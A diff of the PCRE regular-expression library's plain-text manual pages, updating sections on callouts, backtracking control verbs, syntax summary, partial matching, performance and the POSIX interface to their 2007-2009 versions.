+         (abc)(?i:\g<-1>)
+
+       Note that \g{...} (Perl syntax) and \g<...> (Oniguruma syntax) are  not
+       synonymous.  The former is a back reference; the latter is a subroutine
+       call.
+
+
 CALLOUTS
 
        Perl has a feature whereby using the sequence (?{...}) causes arbitrary
-       Perl code to be obeyed in the middle of matching a regular  expression.
+       Perl  code to be obeyed in the middle of matching a regular expression.
        This makes it possible, amongst other things, to extract different sub-
        strings that match the same pair of parentheses when there is a repeti-
        tion.
 
        PCRE provides a similar feature, but of course it cannot obey arbitrary
        Perl code. The feature is called "callout". The caller of PCRE provides
-       an  external function by putting its entry point in the global variable
-       pcre_callout.  By default, this variable contains NULL, which  disables
+       an external function by putting its entry point in the global  variable
+       pcre_callout.   By default, this variable contains NULL, which disables
        all calling out.
 
-       Within  a  regular  expression,  (?C) indicates the points at which the
-       external function is to be called. If you want  to  identify  different
-       callout  points, you can put a number less than 256 after the letter C.
-       The default value is zero.  For example, this pattern has  two  callout
+       Within a regular expression, (?C) indicates the  points  at  which  the
+       external  function  is  to be called. If you want to identify different
+       callout points, you can put a number less than 256 after the letter  C.
+       The  default  value is zero.  For example, this pattern has two callout
        points:
 
          (?C1)abc(?C2)def
 
        If the PCRE_AUTO_CALLOUT flag is passed to pcre_compile(), callouts are
-       automatically installed before each item in the pattern. They  are  all
+       automatically  installed  before each item in the pattern. They are all
        numbered 255.
 
        During matching, when PCRE reaches a callout point (and pcre_callout is
-       set), the external function is called. It is provided with  the  number
-       of  the callout, the position in the pattern, and, optionally, one item
-       of data originally supplied by the caller of pcre_exec().  The  callout
-       function  may cause matching to proceed, to backtrack, or to fail alto-
+       set),  the  external function is called. It is provided with the number
+       of the callout, the position in the pattern, and, optionally, one  item
+       of  data  originally supplied by the caller of pcre_exec(). The callout
+       function may cause matching to proceed, to backtrack, or to fail  alto-
        gether. A complete description of the interface to the callout function
        is given in the pcrecallout documentation.
 
-Last updated: 06 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+BACKTRACKING CONTROL
+
+       Perl 5.10 introduced a number of "Special Backtracking Control  Verbs",
+       which are described in the Perl documentation as "experimental and sub-
+       ject to change or removal in a future version of Perl". It goes  on  to
+       say:  "Their usage in production code should be noted to avoid problems
+       during upgrades." The same remarks apply to the PCRE features described
+       in this section.
+
+       Since  these  verbs  are  specifically related to backtracking, most of
+       them can be  used  only  when  the  pattern  is  to  be  matched  using
+       pcre_exec(), which uses a backtracking algorithm. With the exception of
+       (*FAIL), which behaves like a failing negative assertion, they cause an
+       error if encountered by pcre_dfa_exec().
+
+       The  new verbs make use of what was previously invalid syntax: an open-
+       ing parenthesis followed by an asterisk. In Perl, they are generally of
+       the form (*VERB:ARG) but PCRE does not support the use of arguments, so
+       its general form is just (*VERB). Any number of these verbs  may  occur
+       in a pattern. There are two kinds:
+
+   Verbs that act immediately
+
+       The following verbs act as soon as they are encountered:
+
+          (*ACCEPT)
+
+       This  verb causes the match to end successfully, skipping the remainder
+       of the pattern. When inside a recursion, only the innermost pattern  is
+       ended  immediately.  PCRE  differs  from  Perl  in  what happens if the
+       (*ACCEPT) is inside capturing parentheses. In Perl, the data so far  is
+       captured: in PCRE no data is captured. For example:
+
+         A(A|B(*ACCEPT)|C)D
+
+       This  matches  "AB", "AAD", or "ACD", but when it matches "AB", no data
+       is captured.
+
+         (*FAIL) or (*F)
+
+       This verb causes the match to fail, forcing backtracking to  occur.  It
+       is  equivalent to (?!) but easier to read. The Perl documentation notes
+       that it is probably useful only when combined  with  (?{})  or  (??{}).
+       Those  are,  of course, Perl features that are not present in PCRE. The
+       nearest equivalent is the callout feature, as for example in this  pat-
+       tern:
+
+         a+(?C)(*FAIL)
+
+       A  match  with the string "aaaa" always fails, but the callout is taken
+       before each backtrack happens (in this example, 10 times).
+
+   Verbs that act after backtracking
+
+       The following verbs do nothing when they are encountered. Matching con-
+       tinues  with what follows, but if there is no subsequent match, a fail-
+       ure is forced.  The verbs  differ  in  exactly  what  kind  of  failure
+       occurs.
+
+         (*COMMIT)
+
+       This  verb  causes  the whole match to fail outright if the rest of the
+       pattern does not match. Even if the pattern is unanchored,  no  further
+       attempts  to find a match by advancing the start point take place. Once
+       (*COMMIT) has been passed, pcre_exec() is committed to finding a  match
+       at the current starting point, or not at all. For example:
+
+         a+(*COMMIT)b
+
+       This  matches  "xxaab" but not "aacaab". It can be thought of as a kind
+       of dynamic anchor, or "I've started, so I must finish."
+
+         (*PRUNE)
+
+       This verb causes the match to fail at the current position if the  rest
+       of the pattern does not match. If the pattern is unanchored, the normal
+       "bumpalong" advance to the next starting character then happens.  Back-
+       tracking  can  occur as usual to the left of (*PRUNE), or when matching
+       to the right of (*PRUNE), but if there is no match to the right,  back-
+       tracking  cannot  cross (*PRUNE).  In simple cases, the use of (*PRUNE)
+       is just an alternative to an atomic group or possessive quantifier, but
+       there  are  some uses of (*PRUNE) that cannot be expressed in any other
+       way.
+
+         (*SKIP)
+
+       This verb is like (*PRUNE), except that if the pattern  is  unanchored,
+       the  "bumpalong" advance is not to the next character, but to the posi-
+       tion in the subject where (*SKIP) was  encountered.  (*SKIP)  signifies
+       that  whatever  text  was  matched leading up to it cannot be part of a
+       successful match. Consider:
+
+         a+(*SKIP)b
+
+       If the subject is "aaaac...",  after  the  first  match  attempt  fails
+       (starting  at  the  first  character in the string), the starting point
+       skips on to start the next attempt at "c". Note that a possessive quan-
+       tifer  does not have the same effect in this example; although it would
+       suppress backtracking  during  the  first  match  attempt,  the  second
+       attempt  would  start at the second character instead of skipping on to
+       "c".
+
+         (*THEN)
+
+       This verb causes a skip to the next alternation if the rest of the pat-
+       tern does not match. That is, it cancels pending backtracking, but only
+       within the current alternation. Its name  comes  from  the  observation
+       that it can be used for a pattern-based if-then-else block:
+
+         ( COND1 (*THEN) FOO | COND2 (*THEN) BAR | COND3 (*THEN) BAZ ) ...
+
+       If  the COND1 pattern matches, FOO is tried (and possibly further items
+       after the end of the group if FOO succeeds);  on  failure  the  matcher
+       skips  to  the second alternative and tries COND2, without backtracking
+       into COND1. If (*THEN) is used outside  of  any  alternation,  it  acts
+       exactly like (*PRUNE).
+
+
+SEE ALSO
+
+       pcreapi(3), pcrecallout(3), pcrematching(3), pcre(3).
+
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 11 April 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
+PCRESYNTAX(3)                                                    PCRESYNTAX(3)
+
+
+NAME
+       PCRE - Perl-compatible regular expressions
+
+
+PCRE REGULAR EXPRESSION SYNTAX SUMMARY
+
+       The  full syntax and semantics of the regular expressions that are sup-
+       ported by PCRE are described in  the  pcrepattern  documentation.  This
+       document contains just a quick-reference summary of the syntax.
+
+
+QUOTING
+
+         \x         where x is non-alphanumeric is a literal x
+         \Q...\E    treat enclosed characters as literal
+
+
+CHARACTERS
+
+         \a         alarm, that is, the BEL character (hex 07)
+         \cx        "control-x", where x is any character
+         \e         escape (hex 1B)
+         \f         formfeed (hex 0C)
+         \n         newline (hex 0A)
+         \r         carriage return (hex 0D)
+         \t         tab (hex 09)
+         \ddd       character with octal code ddd, or backreference
+         \xhh       character with hex code hh
+         \x{hhh..}  character with hex code hhh..
+
+
+CHARACTER TYPES
+
+         .          any character except newline;
+                      in dotall mode, any character whatsoever
+         \C         one byte, even in UTF-8 mode (best avoided)
+         \d         a decimal digit
+         \D         a character that is not a decimal digit
+         \h         a horizontal whitespace character
+         \H         a character that is not a horizontal whitespace character
+         \p{xx}     a character with the xx property
+         \P{xx}     a character without the xx property
+         \R         a newline sequence
+         \s         a whitespace character
+         \S         a character that is not a whitespace character
+         \v         a vertical whitespace character
+         \V         a character that is not a vertical whitespace character
+         \w         a "word" character
+         \W         a "non-word" character
+         \X         an extended Unicode sequence
+
+       In PCRE, \d, \D, \s, \S, \w, and \W recognize only ASCII characters.
+
+
+GENERAL CATEGORY PROPERTY CODES FOR \p and \P
+
+         C          Other
+         Cc         Control
+         Cf         Format
+         Cn         Unassigned
+         Co         Private use
+         Cs         Surrogate
+
+         L          Letter
+         Ll         Lower case letter
+         Lm         Modifier letter
+         Lo         Other letter
+         Lt         Title case letter
+         Lu         Upper case letter
+         L&         Ll, Lu, or Lt
+
+         M          Mark
+         Mc         Spacing mark
+         Me         Enclosing mark
+         Mn         Non-spacing mark
+
+         N          Number
+         Nd         Decimal number
+         Nl         Letter number
+         No         Other number
+
+         P          Punctuation
+         Pc         Connector punctuation
+         Pd         Dash punctuation
+         Pe         Close punctuation
+         Pf         Final punctuation
+         Pi         Initial punctuation
+         Po         Other punctuation
+         Ps         Open punctuation
+
+         S          Symbol
+         Sc         Currency symbol
+         Sk         Modifier symbol
+         Sm         Mathematical symbol
+         So         Other symbol
+
+         Z          Separator
+         Zl         Line separator
+         Zp         Paragraph separator
+         Zs         Space separator
+
+
+SCRIPT NAMES FOR \p AND \P
+
+       Arabic,  Armenian,  Balinese,  Bengali,  Bopomofo,  Braille,  Buginese,
+       Buhid, Canadian_Aboriginal, Carian, Cham, Cherokee, Common, Coptic, Cu-
+       neiform,  Cypriot,  Cyrillic,  Deseret, Devanagari, Ethiopic, Georgian,
+       Glagolitic, Gothic, Greek, Gujarati, Gurmukhi,  Han,  Hangul,  Hanunoo,
+       Hebrew,  Hiragana,  Inherited, Kannada, Katakana, Kayah_Li, Kharoshthi,
+       Khmer, Lao, Latin, Lepcha, Limbu, Linear_B, Lycian, Lydian,  Malayalam,
+       Mongolian,  Myanmar,  New_Tai_Lue, Nko, Ogham, Old_Italic, Old_Persian,
+       Ol_Chiki, Oriya, Osmanya, Phags_Pa, Phoenician, Rejang, Runic, Saurash-
+       tra,  Shavian,  Sinhala,  Sudanese, Syloti_Nagri, Syriac, Tagalog, Tag-
+       banwa,  Tai_Le,  Tamil,  Telugu,  Thaana,  Thai,   Tibetan,   Tifinagh,
+       Ugaritic, Vai, Yi.
+
+
+CHARACTER CLASSES
+
+         [...]       positive character class
+         [^...]      negative character class
+         [x-y]       range (can be used for hex characters)
+         [[:xxx:]]   positive POSIX named set
+         [[:^xxx:]]  negative POSIX named set
+
+         alnum       alphanumeric
+         alpha       alphabetic
+         ascii       0-127
+         blank       space or tab
+         cntrl       control character
+         digit       decimal digit
+         graph       printing, excluding space
+         lower       lower case letter
+         print       printing, including space
+         punct       printing, excluding alphanumeric
+         space       whitespace
+         upper       upper case letter
+         word        same as \w
+         xdigit      hexadecimal digit
+
+       In PCRE, POSIX character set names recognize only ASCII characters. You
+       can use \Q...\E inside a character class.
+
+
+QUANTIFIERS
+
+         ?           0 or 1, greedy
+         ?+          0 or 1, possessive
+         ??          0 or 1, lazy
+         *           0 or more, greedy
+         *+          0 or more, possessive
+         *?          0 or more, lazy
+         +           1 or more, greedy
+         ++          1 or more, possessive
+         +?          1 or more, lazy
+         {n}         exactly n
+         {n,m}       at least n, no more than m, greedy
+         {n,m}+      at least n, no more than m, possessive
+         {n,m}?      at least n, no more than m, lazy
+         {n,}        n or more, greedy
+         {n,}+       n or more, possessive
+         {n,}?       n or more, lazy
+
+
+ANCHORS AND SIMPLE ASSERTIONS
+
+         \b          word boundary (only ASCII letters recognized)
+         \B          not a word boundary
+         ^           start of subject
+                      also after internal newline in multiline mode
+         \A          start of subject
+         $           end of subject
+                      also before newline at end of subject
+                      also before internal newline in multiline mode
+         \Z          end of subject
+                      also before newline at end of subject
+         \z          end of subject
+         \G          first matching position in subject
+
+
+MATCH POINT RESET
+
+         \K          reset start of match
+
+
+ALTERNATION
+
+         expr|expr|expr...
+
+
+CAPTURING
+
+         (...)           capturing group
+         (?<name>...)    named capturing group (Perl)
+         (?'name'...)    named capturing group (Perl)
+         (?P<name>...)   named capturing group (Python)
+         (?:...)         non-capturing group
+         (?|...)         non-capturing group; reset group numbers for
+                          capturing groups in each alternative
+
+
+ATOMIC GROUPS
+
+         (?>...)         atomic, non-capturing group
+
+
+COMMENT
+
+         (?#....)        comment (not nestable)
+
+
+OPTION SETTING
+
+         (?i)            caseless
+         (?J)            allow duplicate names
+         (?m)            multiline
+         (?s)            single line (dotall)
+         (?U)            default ungreedy (lazy)
+         (?x)            extended (ignore white space)
+         (?-...)         unset option(s)
+
+       The following is recognized only at the start of a pattern or after one
+       of the newline-setting options with similar syntax:
+
+         (*UTF8)         set UTF-8 mode
+
+
+LOOKAHEAD AND LOOKBEHIND ASSERTIONS
+
+         (?=...)         positive look ahead
+         (?!...)         negative look ahead
+         (?<=...)        positive look behind
+         (?<!...)        negative look behind
+
+       Each top-level branch of a look behind must be of a fixed length.
+
+
+BACKREFERENCES
+
+         \n              reference by number (can be ambiguous)
+         \gn             reference by number
+         \g{n}           reference by number
+         \g{-n}          relative reference by number
+         \k<name>        reference by name (Perl)
+         \k'name'        reference by name (Perl)
+         \g{name}        reference by name (Perl)
+         \k{name}        reference by name (.NET)
+         (?P=name)       reference by name (Python)
+
+
+SUBROUTINE REFERENCES (POSSIBLY RECURSIVE)
+
+         (?R)            recurse whole pattern
+         (?n)            call subpattern by absolute number
+         (?+n)           call subpattern by relative number
+         (?-n)           call subpattern by relative number
+         (?&name)        call subpattern by name (Perl)
+         (?P>name)       call subpattern by name (Python)
+         \g<name>        call subpattern by name (Oniguruma)
+         \g'name'        call subpattern by name (Oniguruma)
+         \g<n>           call subpattern by absolute number (Oniguruma)
+         \g'n'           call subpattern by absolute number (Oniguruma)
+         \g<+n>          call subpattern by relative number (PCRE extension)
+         \g'+n'          call subpattern by relative number (PCRE extension)
+         \g<-n>          call subpattern by relative number (PCRE extension)
+         \g'-n'          call subpattern by relative number (PCRE extension)
+
+
+CONDITIONAL PATTERNS
+
+         (?(condition)yes-pattern)
+         (?(condition)yes-pattern|no-pattern)
+
+         (?(n)...        absolute reference condition
+         (?(+n)...       relative reference condition
+         (?(-n)...       relative reference condition
+         (?(<name>)...   named reference condition (Perl)
+         (?('name')...   named reference condition (Perl)
+         (?(name)...     named reference condition (PCRE)
+         (?(R)...        overall recursion condition
+         (?(Rn)...       specific group recursion condition
+         (?(R&name)...   specific recursion condition
+         (?(DEFINE)...   define subpattern for reference
+         (?(assert)...   assertion condition
+
+
+BACKTRACKING CONTROL
+
+       The following act immediately they are reached:
+
+         (*ACCEPT)       force successful match
+         (*FAIL)         force backtrack; synonym (*F)
+
+       The  following  act only when a subsequent match failure causes a back-
+       track to reach them. They all force a match failure, but they differ in
+       what happens afterwards. Those that advance the start-of-match point do
+       so only if the pattern is not anchored.
+
+         (*COMMIT)       overall failure, no advance of starting point
+         (*PRUNE)        advance to next starting character
+         (*SKIP)         advance start to current matching position
+         (*THEN)         local failure, backtrack to next alternation
+
+
+NEWLINE CONVENTIONS
+
+       These are recognized only at the very start of the pattern or  after  a
+       (*BSR_...) or (*UTF8) option.
+
+         (*CR)           carriage return only
+         (*LF)           linefeed only
+         (*CRLF)         carriage return followed by linefeed
+         (*ANYCRLF)      all three of the above
+         (*ANY)          any Unicode newline sequence
+
+
+WHAT \R MATCHES
+
+       These  are  recognized only at the very start of the pattern or after a
+       (*...) option that sets the newline convention or UTF-8 mode.
+
+         (*BSR_ANYCRLF)  CR, LF, or CRLF
+         (*BSR_UNICODE)  any Unicode newline sequence
+
+
+CALLOUTS
+
+         (?C)      callout
+         (?Cn)     callout with data n
+
+
+SEE ALSO
+
+       pcrepattern(3), pcreapi(3), pcrecallout(3), pcrematching(3), pcre(3).
+
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 11 April 2009
+       Copyright (c) 1997-2009 University of Cambridge.
+------------------------------------------------------------------------------
+
+
 PCREPARTIAL(3)                                                  PCREPARTIAL(3)
 
 
@@ -4121,12 +5465,13 @@
 
        If PCRE_PARTIAL is set for a pattern  that  does  not  conform  to  the
        restrictions,  pcre_exec() returns the error code PCRE_ERROR_BADPARTIAL
-       (-13).
+       (-13).  You can use the PCRE_INFO_OKPARTIAL call to pcre_fullinfo()  to
+       find out if a compiled pattern can be used for partial matching.
 
 
 EXAMPLE OF PARTIAL MATCHING USING PCRETEST
 
-       If the escape sequence \P is present  in  a  pcretest  data  line,  the
+       If  the  escape  sequence  \P  is  present in a pcretest data line, the
        PCRE_PARTIAL flag is used for the match. Here is a run of pcretest that
        uses the date example quoted above:
 
@@ -4143,13 +5488,13 @@
          data> j\P
          No match
 
-       The first data string is matched  completely,  so  pcretest  shows  the
-       matched  substrings.  The  remaining four strings do not match the com-
-       plete pattern, but the first two are partial matches.  The  same  test,
-       using  DFA  matching (by means of the \D escape sequence), produces the
-       following output:
+       The  first  data  string  is  matched completely, so pcretest shows the
+       matched substrings. The remaining four strings do not  match  the  com-
+       plete  pattern,  but  the first two are partial matches. The same test,
+       using pcre_dfa_exec() matching (by means of the  \D  escape  sequence),
+       produces the following output:
 
-           re> /^?(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)$/
+           re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
          data> 25jun04\P\D
           0: 25jun04
          data> 23dec3\P\D
@@ -4161,21 +5506,22 @@
          data> j\P\D
          No match
 
-       Notice that in this case the portion of the string that was matched  is
+       Notice  that in this case the portion of the string that was matched is
        made available.
 
 
 MULTI-SEGMENT MATCHING WITH pcre_dfa_exec()
 
        When a partial match has been found using pcre_dfa_exec(), it is possi-
-       ble to continue the match by  providing  additional  subject  data  and
-       calling  pcre_dfa_exec() again with the PCRE_DFA_RESTART option and the
-       same working space (where details of the  previous  partial  match  are
-       stored).  Here  is  an  example  using  pcretest,  where  the \R escape
-       sequence sets the PCRE_DFA_RESTART option and the  \D  escape  sequence
-       requests the use of pcre_dfa_exec():
+       ble  to  continue  the  match  by providing additional subject data and
+       calling pcre_dfa_exec() again with the same  compiled  regular  expres-
+       sion, this time setting the PCRE_DFA_RESTART option. You must also pass
+       the same working space as before, because this is where details of  the
+       previous  partial  match are stored. Here is an example using pcretest,
+       using the \R escape sequence to set the PCRE_DFA_RESTART option (\P and
+       \D are as above):
 
-           re> /^?(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)$/
+           re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
          data> 23ja\P\D
          Partial match: 23ja
          data> n05\R\D
@@ -4188,29 +5534,29 @@
        matched  string. It is up to the calling program to do that if it needs
        to.
 
-       This facility can  be  used  to  pass  very  long  subject  strings  to
-       pcre_dfa_exec(). However, some care is needed for certain types of pat-
-       tern.
+       You can set PCRE_PARTIAL  with  PCRE_DFA_RESTART  to  continue  partial
+       matching over multiple segments. This facility can be used to pass very
+       long subject strings to pcre_dfa_exec(). However, some care  is  needed
+       for certain types of pattern.
 
-       1. If the pattern contains tests for the beginning or end  of  a  line,
-       you  need  to pass the PCRE_NOTBOL or PCRE_NOTEOL options, as appropri-
-       ate, when the subject string for any call does not contain  the  begin-
+       1.  If  the  pattern contains tests for the beginning or end of a line,
+       you need to pass the PCRE_NOTBOL or PCRE_NOTEOL options,  as  appropri-
+       ate,  when  the subject string for any call does not contain the begin-
        ning or end of a line.
 
-       2.  If  the  pattern contains backward assertions (including \b or \B),
-       you need to arrange for some overlap in the subject  strings  to  allow
-       for  this.  For example, you could pass the subject in chunks that were
-       500 bytes long, but in a buffer of 700 bytes, with the starting  offset
+       2. If the pattern contains backward assertions (including  \b  or  \B),
+       you  need  to  arrange for some overlap in the subject strings to allow
+       for this. For example, you could pass the subject in  chunks  that  are
+       500  bytes long, but in a buffer of 700 bytes, with the starting offset
        set to 200 and the previous 200 bytes at the start of the buffer.
 
-       3.  Matching a subject string that is split into multiple segments does
-       not always produce exactly the same result as matching over one  single
-       long  string.   The  difference arises when there are multiple matching
-       possibilities, because a partial match result is given only when  there
-       are  no  completed  matches  in a call to fBpcre_dfa_exec(). This means
-       that as soon as the shortest match has been found,  continuation  to  a
-       new  subject  segment  is  no  longer possible.  Consider this pcretest
-       example:
+       3. Matching a subject string that is split into multiple segments  does
+       not  always produce exactly the same result as matching over one single
+       long string.  The difference arises when there  are  multiple  matching
+       possibilities,  because a partial match result is given only when there
+       are no completed matches in a call to pcre_dfa_exec(). This means  that
+       as  soon  as  the  shortest match has been found, continuation to a new
+       subject segment is no longer possible.  Consider this pcretest example:
 
            re> /dog(sbody)?/
          data> do\P\D
@@ -4236,21 +5582,31 @@
 
          1234|3789
 
-       If the first part of the subject is "ABC123", a partial  match  of  the
-       first  alternative  is found at offset 3. There is no partial match for
+       If  the  first  part of the subject is "ABC123", a partial match of the
+       first alternative is found at offset 3. There is no partial  match  for
        the second alternative, because such a match does not start at the same
-       point  in  the  subject  string. Attempting to continue with the string
+       point in the subject string. Attempting to  continue  with  the  string
        "789" does not yield a match because only those alternatives that match
-       at  one point in the subject are remembered. The problem arises because
-       the start of the second alternative matches within the  first  alterna-
+       at one point in the subject are remembered. The problem arises  because
+       the  start  of the second alternative matches within the first alterna-
        tive. There is no problem with anchored patterns or patterns such as:
 
          1234|ABCD
 
        where no string can be a partial match for both alternatives.
 
-Last updated: 16 January 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 04 June 2007
+       Copyright (c) 1997-2007 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -4274,7 +5630,9 @@
        ent  host  and  run them there. This works even if the new host has the
        opposite endianness to the one on which  the  patterns  were  compiled.
        There  may  be a small performance penalty, but it should be insignifi-
-       cant.
+       cant. However, compiling regular expressions with one version  of  PCRE
+       for  use  with  a  different  version is not guaranteed to work and may
+       cause crashes.
 
 
 SAVING A COMPILED PATTERN
@@ -4357,19 +5715,22 @@
 
 COMPATIBILITY WITH DIFFERENT PCRE RELEASES
 
-       The layout of the control block that is at the start of the  data  that
-       makes  up  a  compiled pattern was changed for release 5.0. If you have
-       any saved patterns that were compiled with  previous  releases  (not  a
-       facility  that  was  previously advertised), you will have to recompile
-       them for release 5.0. However, from now on, it should  be  possible  to
-       make changes in a compatible manner.
+       In general, it is safest to  recompile  all  saved  patterns  when  you
+       update  to  a new PCRE release, though not all updates actually require
+       this. Recompiling is definitely needed for release 7.2.
 
-       Notwithstanding the above, if you have any saved patterns in UTF-8 mode
-       that use \p or \P that were compiled with any release up to and includ-
-       ing 6.4, you will have to recompile them for release 6.5 and above.
 
-Last updated: 01 February 2006
-Copyright (c) 1997-2006 University of Cambridge.
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 13 June 2007
+       Copyright (c) 1997-2007 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -4382,15 +5743,71 @@
 
 PCRE PERFORMANCE
 
-       Certain  items  that may appear in regular expression patterns are more
-       efficient than others. It is more efficient to use  a  character  class
-       like  [aeiou]  than  a set of alternatives such as (a|e|i|o|u). In gen-
-       eral, the simplest construction that provides the required behaviour is
-       usually  the  most  efficient.  Jeffrey Friedl's book contains a lot of
-       useful general discussion  about  optimizing  regular  expressions  for
-       efficient  performance. This document contains a few observations about
-       PCRE.
+       Two  aspects  of performance are discussed below: memory usage and pro-
+       cessing time. The way you express your pattern as a regular  expression
+       can affect both of them.
 
+
+MEMORY USAGE
+
+       Patterns are compiled by PCRE into a reasonably efficient byte code, so
+       that most simple patterns do not use much memory. However, there is one
+       case where memory usage can be unexpectedly large. When a parenthesized
+       subpattern has a quantifier with a minimum greater than 1 and/or a lim-
+       ited  maximum,  the  whole subpattern is repeated in the compiled code.
+       For example, the pattern
+
+         (abc|def){2,4}
+
+       is compiled as if it were
+
+         (abc|def)(abc|def)((abc|def)(abc|def)?)?
+
+       (Technical aside: It is done this way so that backtrack  points  within
+       each of the repetitions can be independently maintained.)
+
+       For  regular expressions whose quantifiers use only small numbers, this
+       is not usually a problem. However, if the numbers are large,  and  par-
+       ticularly  if  such repetitions are nested, the memory usage can become
+       an embarrassment. For example, the very simple pattern
+
+         ((ab){1,1000}c){1,3}
+
+       uses 51K bytes when compiled. When PCRE is compiled  with  its  default
+       internal  pointer  size of two bytes, the size limit on a compiled pat-
+       tern is 64K, and this is reached with the above pattern  if  the  outer
+       repetition is increased from 3 to 4. PCRE can be compiled to use larger
+       internal pointers and thus handle larger compiled patterns, but  it  is
+       better to try to rewrite your pattern to use less memory if you can.
+
+       One  way  of reducing the memory usage for such patterns is to make use
+       of PCRE's "subroutine" facility. Re-writing the above pattern as
+
+         ((ab)(?2){0,999}c)(?1){0,2}
+
+       reduces the memory requirements to 18K, and indeed it remains under 20K
+       even  with the outer repetition increased to 100. However, this pattern
+       is not exactly equivalent, because the "subroutine" calls  are  treated
+       as  atomic groups into which there can be no backtracking if there is a
+       subsequent matching failure. Therefore, PCRE cannot  do  this  kind  of
+       rewriting  automatically.   Furthermore,  there is a noticeable loss of
+       speed when executing the modified pattern. Nevertheless, if the  atomic
+       grouping  is  not  a  problem and the loss of speed is acceptable, this
+       kind of rewriting will allow you to process patterns that  PCRE  cannot
+       otherwise handle.
+
+
+PROCESSING TIME
+
+       Certain  items  in regular expression patterns are processed more effi-
+       ciently than others. It is more efficient to use a character class like
+       [aeiou]   than   a   set   of  single-character  alternatives  such  as
+       (a|e|i|o|u). In general, the simplest construction  that  provides  the
+       required behaviour is usually the most efficient. Jeffrey Friedl's book
+       contains a lot of useful general discussion  about  optimizing  regular
+       expressions  for  efficient  performance.  This document contains a few
+       observations about PCRE.
+
        Using Unicode character properties (the \p,  \P,  and  \X  escapes)  is
        slow,  because PCRE has to scan a structure that contains data for over
        fifteen thousand characters whenever it needs a  character's  property.
@@ -4423,15 +5840,15 @@
        take  a  long time to run when applied to a string that does not match.
        Consider the pattern fragment
 
-         (a+)*
+         ^(a+)*
 
-       This can match "aaaa" in 33 different ways, and this  number  increases
+       This can match "aaaa" in 16 different ways, and this  number  increases
        very  rapidly  as the string gets longer. (The * repeat can match 0, 1,
-       2, 3, or 4 times, and for each of those  cases  other  than  0,  the  +
+       2, 3, or 4 times, and for each of those cases other than 0 or 4, the  +
        repeats  can  match  different numbers of times.) When the remainder of
        the pattern is such that the entire match is going to fail, PCRE has in
        principle  to  try  every  possible  variation,  and  this  can take an
-       extremely long time.
+       extremely long time, even for relatively short strings.
 
        An optimization catches some of the more simple cases such as
 
@@ -4452,8 +5869,18 @@
        In many cases, the solution to this kind of performance issue is to use
        an atomic group or a possessive quantifier.
 
-Last updated: 28 February 2005
-Copyright (c) 1997-2005 University of Cambridge.
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 06 March 2007
+       Copyright (c) 1997-2007 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -4493,12 +5920,12 @@
        command  for  linking  an application that uses them. Because the POSIX
        functions call the native ones, it is also necessary to add -lpcre.
 
-       I have implemented only those option bits that can be reasonably mapped
-       to PCRE native options. In addition, the option REG_EXTENDED is defined
-       with the value zero. This has no effect, but since  programs  that  are
-       written  to  the  POSIX interface often use it, this makes it easier to
-       slot in PCRE as a replacement library. Other POSIX options are not even
-       defined.
+       I have implemented only those POSIX option bits that can be  reasonably
+       mapped  to PCRE native options. In addition, the option REG_EXTENDED is
+       defined with the value zero. This has no  effect,  but  since  programs
+       that  are  written  to  the POSIX interface often use it, this makes it
+       easier to slot in PCRE as a replacement library.  Other  POSIX  options
+       are not even defined.
 
        When  PCRE  is  called  via these functions, it is only the API that is
        POSIX-like in style. The syntax and semantics of  the  regular  expres-
@@ -4578,9 +6005,9 @@
 MATCHING NEWLINE CHARACTERS
 
        This area is not simple, because POSIX and Perl take different views of
-       things.  It is not possible to get PCRE to obey  POSIX  semantics,  but
-       then  PCRE was never intended to be a POSIX engine. The following table
-       lists the different possibilities for matching  newline  characters  in
+       things.   It  is  not possible to get PCRE to obey POSIX semantics, but
+       then PCRE was never intended to be a POSIX engine. The following  table
+       lists  the  different  possibilities for matching newline characters in
        PCRE:
 
                                  Default   Change with
@@ -4602,30 +6029,49 @@
          ^ matches \n in middle     no     REG_NEWLINE
 
        PCRE's behaviour is the same as Perl's, except that there is no equiva-
-       lent for PCRE_DOLLAR_ENDONLY in Perl. In both PCRE and Perl,  there  is
+       lent  for  PCRE_DOLLAR_ENDONLY in Perl. In both PCRE and Perl, there is
        no way to stop newline from matching [^a].
 
-       The   default  POSIX  newline  handling  can  be  obtained  by  setting
-       PCRE_DOTALL and PCRE_DOLLAR_ENDONLY, but there is no way to  make  PCRE
+       The  default  POSIX  newline  handling  can  be  obtained  by   setting
+       PCRE_DOTALL  and  PCRE_DOLLAR_ENDONLY, but there is no way to make PCRE
        behave exactly as for the REG_NEWLINE action.
 
 
 MATCHING A PATTERN
 
-       The  function  regexec()  is  called  to  match a compiled pattern preg
-       against a given string, which is terminated by a zero byte, subject  to
-       the options in eflags. These can be:
+       The function regexec() is called  to  match  a  compiled  pattern  preg
+       against  a  given string, which is by default terminated by a zero byte
+       (but see REG_STARTEND below), subject to the options in  eflags.  These
+       can be:
 
          REG_NOTBOL
 
        The PCRE_NOTBOL option is set when calling the underlying PCRE matching
        function.
 
+         REG_NOTEMPTY
+
+       The PCRE_NOTEMPTY option is set when calling the underlying PCRE match-
+       ing function. Note that REG_NOTEMPTY is not part of the POSIX standard.
+       However, setting this option can give more POSIX-like behaviour in some
+       situations.
+
          REG_NOTEOL
 
        The PCRE_NOTEOL option is set when calling the underlying PCRE matching
        function.
 
+         REG_STARTEND
+
+       The string is considered to start at string +  pmatch[0].rm_so  and  to
